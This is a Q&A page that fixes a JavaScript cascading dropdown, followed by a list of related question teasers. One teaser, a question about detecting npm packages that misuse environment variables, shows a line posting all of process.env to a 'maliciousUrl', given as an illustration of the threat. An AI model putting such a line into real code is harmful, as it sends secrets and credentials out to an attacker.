Step-by-step guide on making a cascading dropdown menu using HTML

I am trying to create a file with two dropdown menus, where the options in the second dropdown are based on the selection made in the first dropdown. Although I have never worked with HTML before and feel a bit lost, I attempted to modify code from a tutorial at https://www.w3schools.com/howto/howto_js_cascading_dropdown.asp that was originally for three dropdowns. Below is my adapted version for two dropdowns:

var Professionobj = {
  "opt1": ["opt6", "opt7", "opt8", "opt9", "opt10"],
  "opt2": ["opt11", "opt12", "opt13"],
  "opt3": ["opt14", "opt15", "opt16", "opt17"],
  "opt4": ["opt18", "opt19", "opt20"],
}
window.onload = function() {
  var ProfessionSel = document.getElementById("Profession");
  var SpecialismSel = document.getElementById("Specialism");
  for (var x in Professionobj) {
    ProfessionSel.options[ProfessionSel.options.length] = new Option(x, x);
  }
  ProfessionSel.onchange = function() {    
    SpecialismSel.length = 1;
    for (var y in Professionobj[this.value]) {
      SpecialismSel.options[SpecialismSel.options.length] = new Option(y, y);
    }
  }
}
<h1>Cascading Dropdown Example</h1>

<form name="form1" id="form1" action="/action_page.php">
  Professions:
  <select name="Profession" id="Profession">
    <option value="" selected="selected">Select Profession</option>
  </select>
  <br><br> Specialisms:
  <select name="Specialism" id="Specialism">
    <option value="" selected="selected">Please select Profession first</option>
  </select>

My issue is that the second dropdown is showing index numbers instead of the actual option text. For example, selecting 'opt1' in the first dropdown results in the second dropdown displaying '0', '1', '2', '3', '4' instead of "opt6", "opt7", "opt8", "opt9", "opt10". Any guidance on how to resolve this would be greatly appreciated.

Thank you for your help!

Answer №1

Simply update the body of your for loop in the onChange event for ProfessionSel with this new code snippet

ProfessionSel.onchange = function() {    //clear out Chapters- and Topics- dropdowns
SpecialismSel.length = 1;
//show correct values
var x = Professionobj[ProfessionSel.value];
for (var j = 0; j < x.length; j++ ) {
  SpecialismSel.options[SpecialismSel.options.length] = new Option(x[j], x[j]);
 }
}

Similar questions

If you have not found the answer to your question or you are interested in this topic, then look at other similar questions below or use the search

Instructions on using $.post in jquery to sude uploaded file to a php file for processing

Is there a way to upload photos asynchronously using $.post without relying on .serializeArray()? I want to send a form, containing an upload file, to a PHP processing file. Any suggestions? HTML: <form action="upload1.php" method="post" id="usrform" ...

Phonegap enables iOS keyboard to dynamically adjust screen size during use

Currently, I am developing an iOS app using phonegap 3.0 and have encountered a particular issue. In my app, there is a window where users are required to enter a promo code. The problem arises when I click on the input area (see this example) and then pr ...

Displaying React components for a brief duration of time

I have an existing React component where I need to display another component for a specific duration. Upon mounting or data loading of the parent component, the child component should become visible after 1-2 seconds and then disappear after a few more sec ...

Tips for showing form values in pop-up boxes based on their unique identifiers

I am experiencing an issue with displaying posted values in a pop-up box. Specifically, when I click on "Book now", it only shows one set of id values for all entries. For example, if I click on the 1st row's "Book now" button, it displays the values ...

Excessive white space within a relative block div causing the content to appear smaller in comparison

Currently, I am developing a straightforward form that includes CSS-based help boxes. These help boxes are designed to appear when the user hovers over the corresponding row. After leaving my project untouched for a few days, I encountered some bugs upon ...

Is there a way to determine if npm packages are accessing and misusing my system's environment variables?

Apologies if this seems nonsensical. But including a code snippet like this: // to illustrate I'm utilizing a source from https://www.npmjs.com/package/got got.post(maliciousUrl, {json: process.env}) Is it enough to leak environment variables to an u ...

Enhancing the appearance of elements using AJAX data submission

My current task involves utilizing jQuery to extract all content from a div along with its child elements. Here is the content within the DIV: <div class="content"> <h1 style="color:red">Test Title</h1> <p style="color:blue"> ...

Tooltips in Bootstrap are not functional when used on pages other than the initial one in datatables

I have multiple data tables in development where the cells of certain columns contain Bootstrap tooltips. To achieve this, I am utilizing: The Bootstrap framework Datatables My issue arises when using Datatables with multiple pages. Upon document readin ...

Loading dynamic CSS on WordPress frontend only

I am facing an issue with the dynamic css file in my WordPress theme that is loaded using Ajax. The problem is that it also loads this dynamic css file for the backend. Can someone help me modify my code so that it only loads the dynamic css file for the f ...

<container> rectangular form

.products { width: 100%; height: 500px; background: gray; } .box { width: 250px; height: 300px; background: darksalmon; border: 1px solid #000; } <div class="products"> <div class="box"> <p>Ola</p> </div> ...

Tips for adjusting the icon size within the <IconContext.Provider> dynamically

Currently, I am using the 'IconContext.Provider' tag to style my icons from the 'react-icons' library. Are there any solutions available to dynamically change the size of the icon based on the size of my media? Is using the global styl ...

The API key fails to function properly when imported from the .env file, but performs successfully when entered directly

Working with Vite has been quite an experience for my project. I encountered a situation where using my API key directly worked fine, but when trying to import it from .env file, I faced the error message in the console below: {status_code: 7, status_me ...

I've been attempting to develop a React application, but I consistently encounter the following error: "npm ERR! cb() function was never invoked!"

Here is the issue at hand: HP@DESKTOP-1HP83V8 MINGW64 ~/Desktop/Web-Development (master) $ npx create-react-app my-app A new React app is being created in C:\Users\HP\Desktop\Web-Development\my-app. Packages are being installed. ...

Achieving a fixed position within a div using CSS

Is there a way to arrange elements inside a div without modifying the HTML code? Yes, CSS can help you achieve this. Consider these blog posts: https://i.sstatic.net/7yTQ5.png The issue at hand is that the 'Read more' button gets pushed down wh ...

What is the process for making an XHR request to a server located remotely

Do you think the code below is sufficient for XHRing a remote server? I tried putting the full server URL in the open method of the XHR object, but it didn't work. I'm not sure if something else needs to be added. <script type="text/javascrip ...

What is preventing my JavaScript from loading on my website when using window.onload?

I'm currently in the process of building an HTML page with Adobe Dreamweaver and utilizing the Live Preview feature to preview the page on a local server. However, I am facing some issues with my JavaScript code. I am attempting to populate a dropdown ...

What is the best way to combine API calls using rxJs subscribe and map in Angular?

Currently, I am executing multiple API requests. The first one is responsible for creating a User, while the second handles Team creation. Upon creating a User, an essential piece of information called UserId is returned, which is crucial for the Team cre ...

developing a fluid grid system with flexible ordering

I'm currently working on a section for my app that consists of one row with 3 columns, each column containing 3 divs. JSFIDDLE: demo Here is how it should appear in desktop view: https://i.sstatic.net/ugAXd.png And here is the expected appearance ...

What is the interaction between CSS and URL fragments (the #stuff)?

Can URL fragments affect CSS behavior? For instance, let's consider a sample page at: http://example.boom/is_this_a_bug.html. You can view the code for this page on https://gist.github.com/3777018 Upon loading the page with the given URL, the element ...

Importing information from the Document Object Model in Vue.js, focusing on the action attribute of a form

Can Vue be used to create a binding where the data item in the Vue instance is initialized from the DOM? In my specific case, I want my Vue instance to receive the action attribute of a form element. For example, this is how my HTML would look like (the ...